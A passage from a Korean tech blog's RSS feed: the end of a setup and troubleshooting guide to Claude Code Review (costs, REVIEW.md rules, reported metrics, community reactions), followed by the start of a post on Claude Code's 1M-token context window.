        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;활용 범위&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PR 리뷰 전용&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;리뷰 + 이슈 구현 + 릴리즈 노트 등 다목적&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; border: 2px solid #cce5ff; border-radius: 12px; padding: 20px 25px; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;margin: 0 0 15px 0; color: #0066cc; font-size: 17px;&quot; data-ke-size=&quot;size20&quot;&gt;어떤 것을 선택할까? 의사결정 체크리스트&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Code Review를 선택해야 할 때:&lt;/b&gt;&lt;/p&gt;
    &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;모든 PR에 자동으로 심층 리뷰가 필요하다&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;워크플로우 파일을 관리하고 싶지 않다&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Team / Enterprise 플랜이다&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;비용보다 리뷰 품질 우선이다&lt;/li&gt;
    &lt;/ul&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GitHub Actions를 선택해야 할 때:&lt;/b&gt;&lt;/p&gt;
    &lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;비용을 최소화하고 싶다 (개인 / 소규모 팀)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;@claude&lt;/code&gt; 온디맨드 리뷰가 필요하다&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;PR 리뷰 외에도 이슈 구현, 자동화 등 다양한 활용이 필요하다&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;API 키만 있으면 된다 (Team/Enterprise 미보유)&lt;/li&gt;
    &lt;/ul&gt;
    &lt;p style=&quot;margin-top: 10px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;두 방식은 서로 배타적이지 않다. Code Review로 자동 심층 리뷰를 하면서,
      GitHub Actions로 &lt;code&gt;@claude&lt;/code&gt; 온디맨드 작업을 병행하는 팀도 있다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 7: 실제 성과 데이터 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 실제 성과 데이터&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic과 얼리 액세스 고객들의 실사용 데이터를 살펴보자. 모든 수치는 공식 블로그(&lt;a
      style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/blog/code-review&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bringing Code
      Review to Claude Code&lt;/a&gt;)에서 인용했다.&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Anthropic 내부
    성과&lt;/h3&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;도입 전:&lt;/b&gt; 실질적인 리뷰 코멘트를 받은 PR = &lt;b&gt;16%&lt;/b&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;도입 후:&lt;/b&gt; 실질적인 리뷰 코멘트를 받은 PR = &lt;b&gt;54%&lt;/b&gt; (+38%p)&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;대형 PR (1,000줄+ 변경):&lt;/b&gt; 84%에서 버그 발견, 평균 &lt;b&gt;7.5개&lt;/b&gt; 이슈 발견&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;소형 PR (50줄 미만):&lt;/b&gt; 31%에서 버그 발견, 평균 &lt;b&gt;0.5개&lt;/b&gt; 이슈 발견&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;정확도:&lt;/b&gt; 오탐 표시 비율 &lt;b&gt;1% 미만&lt;/b&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;54%의 의미&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;16%에서 54%라는 수치는 단순히 &quot;코멘트가 늘었다&quot;가 아니다. 인간 리뷰어가 바쁘거나 시간이 없어서 스킵되던
      PR들이 이제 실질적인 피드백을 받는다는 뜻이다. Code Review는 PR 승인을 대체하지 않지만, 리뷰어가 실제로 검토해야 할 지점을 먼저 정리해준다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 8: 커뮤니티 반응 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 커뮤니티 반응&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Code Review 발표 직후 개발자 커뮤니티에서는 다양한 반응이 나왔다.&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;긍정적 반응&lt;/h3&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;자동화의 편리함:&lt;/b&gt; &quot;PR 열면 알아서 돌아가고, 20분 후에 코멘트가 달려있는 경험&quot;을 긍정 평가&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;PR 리뷰 부담 감소:&lt;/b&gt; &quot;리뷰어에게 '이 부분만 봐달라'고 가이드해주는 효과&quot;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;기존 도구와 차별화:&lt;/b&gt; 단순 정적 분석 도구와 달리 코드베이스 전체 컨텍스트를 이해하는 점&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Pre-existing 버그 발견:&lt;/b&gt; &quot;PR이 건드리지 않은 코드의 기존 버그를 잡아내는 부가 효과&quot;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주요 고려사항&lt;/h3&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비용:&lt;/b&gt; &quot;리뷰당 $15-25는 소규모 팀이나 개인 프로젝트에는 부담스러운 비용&quot;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Team/Enterprise 전용:&lt;/b&gt; &quot;Pro/Max 개인 구독자가 이용할 수 없다는 점&quot;에 아쉬움 표현&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;리서치 프리뷰 단계:&lt;/b&gt; 정식 출시 전이므로 장기 사용 여부에 대한 관망 기조&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;PR 승인 미포함:&lt;/b&gt; &quot;블로킹을 하지 않으니 결국 사람이 봐야 한다&quot;는 인식 &amp;mdash; 단, 이는 의도된 설계임&lt;/li&gt;
  &lt;/ul&gt;
  &lt;div
    style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;GitHub Actions와의 공존&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티에서는 &quot;Code Review와 GitHub Actions를 어떻게 함께 쓸까&quot;에 대한 논의도 활발하다.
      Code Review로 자동 심층 분석을 하고, GitHub Actions로 &lt;code&gt;@claude implement this feature&lt;/code&gt; 같은 온디맨드 작업을 병행하는 패턴이 주목받고
      있다. Anthropic도 두 방식이 서로 보완적임을 명시하고 있다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 9: 트러블슈팅 Q&amp;A --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Code Review 설정 과정에서 자주 발생하는 문제와 해결 방법을 정리했다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- Q1 --&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1. PR을
      열었는데 &quot;Claude Code Review&quot; 체크 런이 나타나지 않습니다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;진단 체크리스트:&lt;/b&gt;&lt;/p&gt;
    &lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;claude.ai/admin-settings/claude-code&lt;/code&gt; &amp;rarr; Code Review 섹션에 해당 레포지토리가
        목록에 있는지 확인&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;GitHub &amp;rarr; 조직 설정 &amp;rarr; Installed GitHub Apps &amp;rarr; Claude App이 설치되어 있고 해당 레포에
        접근 권한이 있는지 확인&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;PR이 &lt;b&gt;Draft 상태&lt;/b&gt;인지 확인. Draft PR은 &quot;After PR creation only&quot; 트리거에서 Ready for
        Review로 전환 시에 실행됨&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Admin 설정에서 해당 레포의 트리거가 &lt;b&gt;활성화 상태&lt;/b&gt;인지 확인 (Row actions 메뉴에서 On/Off 전환 가능)&lt;/li&gt;
    &lt;/ol&gt;
    &lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;위를 모두 확인했는데도 나타나지 않으면, 레포를 제거 후 재추가해보는 것을 권장한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;!-- Q2 --&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. Code
      Review 비용이 예상보다 크게 나옵니다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; &quot;Push마다&quot; 트리거 설정으로 인해 매 커밋마다 리뷰가 실행되고 있을 가능성이 높다.
    &lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 단계:&lt;/b&gt;&lt;/p&gt;
    &lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;claude.ai/analytics/code-review&lt;/code&gt;에서 레포별 주간 비용 확인&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;비용이 높은 레포는 &quot;Push마다&quot; &amp;rarr; &quot;PR 생성 시에만&quot;으로 트리거 변경&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;claude.ai/admin-settings/usage&lt;/code&gt;에서 Code Review 서비스 월별 지출 한도 설정&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;REVIEW.md에 Skip 경로 추가: 생성 코드(&lt;code&gt;src/gen/&lt;/code&gt;), 락 파일, 픽스처 등&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/div&gt;
  &lt;!-- Q3 --&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3. Code
      Review 코멘트가 너무 많아 오히려 노이즈가 됩니다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; 기본 설정이 팀의 컨텍스트 없이 모든 코드를 동일하게 분석하기 때문이다.&lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;code&gt;REVIEW.md&lt;/code&gt;를 작성하여 팀에 맞는 규칙을 정의한다.&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;## Skip
# 자동 생성 코드는 검사 제외
- Generated files under `src/gen/` and `proto/`
- Formatting-only changes in `*.lock` files
- Test fixture files under `tests/fixtures/`
# 내부 유틸리티 함수 docstring 미작성은 무시
- Missing docstrings in `utils/internal/`&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;변경 후 다음 PR부터 적용된다. &quot;Push마다&quot; 트리거라면 다음 push 때 바로 반영된다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;!-- Q4 --&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4.
      Pro/Max 플랜인데 Code Review를 사용할 수 없습니다&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; Code Review는 &lt;b&gt;Team 또는 Enterprise 플랜&lt;/b&gt; 전용 기능이다.
      Pro/Max 개인 구독으로는 사용 불가하다. 현재 리서치 프리뷰 단계이며 향후 변경 가능성은 공식 발표를 확인해야 한다.&lt;/p&gt;
    &lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대안:&lt;/b&gt; 개인 사용자는 &lt;b&gt;Claude Code GitHub Actions&lt;/b&gt;로 유사한 자동 리뷰
      기능을 구현할 수 있다. API 키가 있으면 플랜 무관하게 사용 가능하며, 클로드 코드 세션에서 &lt;code&gt;/install-github-app&lt;/code&gt; 명령어로 빠르게 시작할 수 있다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;!-- Q5 --&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q5.
      ZDR(Zero Data Retention) 조직에서 사용하려면 어떻게 해야 하나요?&lt;/h4&gt;
    &lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론:&lt;/b&gt; 현재 ZDR이 활성화된 조직에서는 Code Review를 사용할 수 없다. 공식 문서에 명시된
      제한사항이다. ZDR 비활성화 여부는 조직 정책과 데이터 규정 준수 요건을 검토한 후 결정해야 한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 10: 결론 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code Review는 &quot;AI가 코드를 더 빠르게 만드는 세상에서, 리뷰는 어떻게 따라잡을 것인가&quot;라는
    질문에 대한 Anthropic의 답이다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단순히 체크리스트를 실행하는 도구가 아니다. Anthropic이 수개월간 내부에서 운영하며 검증한, &lt;b&gt;멀티
      에이전트가 병렬로 코드베이스 전체를 분석하고 거짓 양성을 걸러내는 심층 리뷰 시스템&lt;/b&gt;이다. 16%에서 54%로 높아진 실질적 리뷰 커버리지, 1% 미만의 오탐률이 이를 증명한다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;물론 한계도 있다. 현재 리서치 프리뷰 단계이며, 리뷰당 평균 $15-25의 비용은 GitHub Actions보다
    비싸다. Team/Enterprise 플랜에서만 사용 가능하고, PR 승인은 여전히 사람의 몫이다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 핵심 가치는 명확하다. &lt;b&gt;모든 PR이 심층 리뷰를 받을 가치가 있다.&lt;/b&gt; 팀이 바쁘거나 PR이 작아
    보여도, 인증을 깨뜨리는 한 줄짜리 버그는 얼마든지 통과할 수 있다. Code Review는 그 간격을 메운다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;
    &lt;b&gt;핵심 정리&lt;/b&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;대상:&lt;/b&gt; Team &amp;middot; Enterprise 플랜 (리서치 프리뷰, ZDR 비활성 조직)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;설정:&lt;/b&gt; Admin이 &lt;code&gt;claude.ai/admin-settings/claude-code&lt;/code&gt;에서 GitHub App
        설치 후 레포 선택&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;작동:&lt;/b&gt; PR 자동 분석 &amp;rarr; 멀티 에이전트 병렬 검사 &amp;rarr; 검증 &amp;rarr; 인라인 코멘트 (평균 20분)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;심각도:&lt;/b&gt; Normal Normal (버그) &amp;middot; Nit Nit (경미) &amp;middot; Pre-existing
        Pre-existing (기존 버그)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;커스터마이징:&lt;/b&gt; CLAUDE.md (공통) + REVIEW.md (리뷰 전용)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비용:&lt;/b&gt; 평균 $15-25/리뷰 (토큰 기반, 변동), 월별 한도 설정 가능&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;Analytics:&lt;/b&gt; &lt;code&gt;claude.ai/analytics/code-review&lt;/code&gt;에서 모니터링&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #ffa000; margin: 20px 0;&quot;&gt;
    &lt;b&gt;도구를 넘어서 &amp;mdash; AI 시대의 코드 리뷰 패러다임&lt;/b&gt;
    &lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 가이드에서는 Claude Code Review라는 도구의 설정과 활용을 다루었다. 하지만 더 근본적인 질문이
      남아있다. &lt;b&gt;&quot;AI가 코드의 다수를 생성하는 시대에, 인간은 무엇을 리뷰해야 하는가?&quot;&lt;/b&gt; 코드 diff 중심 리뷰에서 의도(Intent) 리뷰로의 전환, 그리고 개발자 역할의 재정의에 대한 논의를
      별도 글에서 다룬다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서: &lt;a style=&quot;color: #0066cc;&quot;
      href=&quot;https://docs.anthropic.com/en/docs/claude-code/code-review&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code
      Review 공식 문서&lt;/a&gt;&lt;br /&gt;공식 블로그: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/blog/code-review&quot;
      target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bringing Code Review to Claude Code (2026년 3월 9일)&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>ai 코드 리뷰</category>
      <category>Anthropic</category>
      <category>Claude Code Review</category>
      <category>GitHub 자동화</category>
      <category>PR 자동 리뷰</category>
      <category>멀티 에이전트</category>
      <category>버그 자동탐지</category>
      <category>보안 취약점 탐지</category>
      <category>코드 리뷰 자동화</category>
      <category>코드 품질</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/548</guid>
      <comments>https://goddaehee.tistory.com/548#entry548comment</comments>
      <pubDate>Mon, 16 Mar 2026 20:30:33 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 1M Context 설정 가이드 - beta header 없이 자동 활성화 하기(Claude Code 1M Context 정식 출시)</title>
      <link>https://goddaehee.tistory.com/547</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 2026년 3월 13일부로 정식 지원이 시작된 &lt;b&gt;Claude Code의 1M Context 기능&lt;/b&gt;에 대해 깊이 있게 알아보려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Opus 4.6부터 1M 토큰 컨텍스트 윈도우가 Max, Team, Enterprise 플랜에서 기본 활성화되었다. 추가 요금도 없고, Rate Limit 불이익도 없다. 기존 코드 변경도 필요 없다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1844&quot; data-origin-height=&quot;1048&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/by9o04/dJMcafly4js/MGEwdEKRqfFmqRI9KR35z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/by9o04/dJMcafly4js/MGEwdEKRqfFmqRI9KR35z0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/by9o04/dJMcafly4js/MGEwdEKRqfFmqRI9KR35z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby9o04%2FdJMcafly4js%2FMGEwdEKRqfFmqRI9KR35z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1844&quot; height=&quot;1048&quot; data-origin-width=&quot;1844&quot; data-origin-height=&quot;1048&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;컨텍스트 윈도우란? &amp;mdash; 기초부터 이해하기
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컨텍스트 윈도우 개념&lt;/li&gt;
&lt;li&gt;왜 1M이 필요한가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Opus 4.6 1M Context &amp;mdash; 무엇이 달라졌나
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;출시 타임라인&lt;/li&gt;
&lt;li&gt;이전 상황 (200K 제한과 beta header)&lt;/li&gt;
&lt;li&gt;2026년 3월 13일의 변화&lt;/li&gt;
&lt;li&gt;지원 플랜 및 모델&lt;/li&gt;
&lt;li&gt;클라우드 플랫폼별 지원 현황 (Bedrock, Vertex AI)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;핵심 변경사항 상세 분석
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동 활성화 &amp;mdash; beta header 불필요&lt;/li&gt;
&lt;li&gt;요금 정책 &amp;mdash; 900K도 9K와 같은 단가&lt;/li&gt;
&lt;li&gt;Rate Limit 정책 변화&lt;/li&gt;
&lt;li&gt;성능 벤치마크 &amp;mdash; &quot;Context Rot&quot; 해결&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude Code에서의 실제 활용
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
